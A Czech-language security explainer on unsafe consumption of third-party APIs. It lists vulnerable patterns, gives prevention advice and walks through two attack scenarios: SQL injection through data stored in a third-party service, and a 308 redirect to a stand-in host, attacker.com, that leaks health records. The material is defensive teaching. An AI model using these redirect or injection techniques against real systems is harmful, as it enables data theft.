Nebezpečné použití API
- Vývojáři mají tendenci věřit datům, které obdrží od služeb třetích stran.
- Kvůli tomu vývojáři taková data nevalidují a nesanitizují.
- API je zranitelné, pokud
- interaguje s jiným API přes nešifrovaný komunikační kanál,
- nevaliduje a nesanitizuje data obdržená od třetí strany,
- slepě následuje přesměrování,
- nelimituje počet zdrojů pro odpovědi třetích stran,
- neimplementuje timeouty při integraci se službou třetí strany.
Jak zranitelnosti předcházet
🔴 Posuďte stav zabezpečení API poskytovatele služby před tím, než jej implementujete.
🔴 Zajistěte, aby se komunikace s třetí stranou odehrávala přes šifrovaný kanál (TLS).
🔴 Validujte a sanitizujte veškerá příchozí data - uživatelské vstupy i data třetích stran.
🔴 Vytvořte allow (white) list podporovaných integrací a API, kterým umožníte přesměrování.
- Nedělejte slepá přesměrování.
Příklady zneužití zranitelnosti
-
API aplikace závisí na službě třetí strany, která poskytuje fakturační adresu uživatele.
- Uživatelem vyplněná data jsou odeslána na API a následně na službu třetí strany, která vrátí informace o adrese, a všechno se ulo ží do SQL databáze.
- Útočník do služby třetí strany zadá adresu složenou z SQL dotazu.
- Zaregistruje se do aplikace, která stáhne zranitelná data a vykoná SQL příkaz.
-
API integruje službu třetí strany, která ukládá zdravotní záznamy uživatelů.
- Data jsou odesílána přes šifrovaný kanál následujícím způsobem:
POST /user/store_phr_record
{
"genome": "ACTAGTAG__TTGADDAAIICCTT..."
}- Útočník najde způsob, jak kompromitovat třetí službu, a API začne odpovídat následujícím způsobem:
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/- API slepě následuje přesměrování a bude dotaz opakovat na útočníkovu URL.
- Tím dojde k úniku citlivých informací.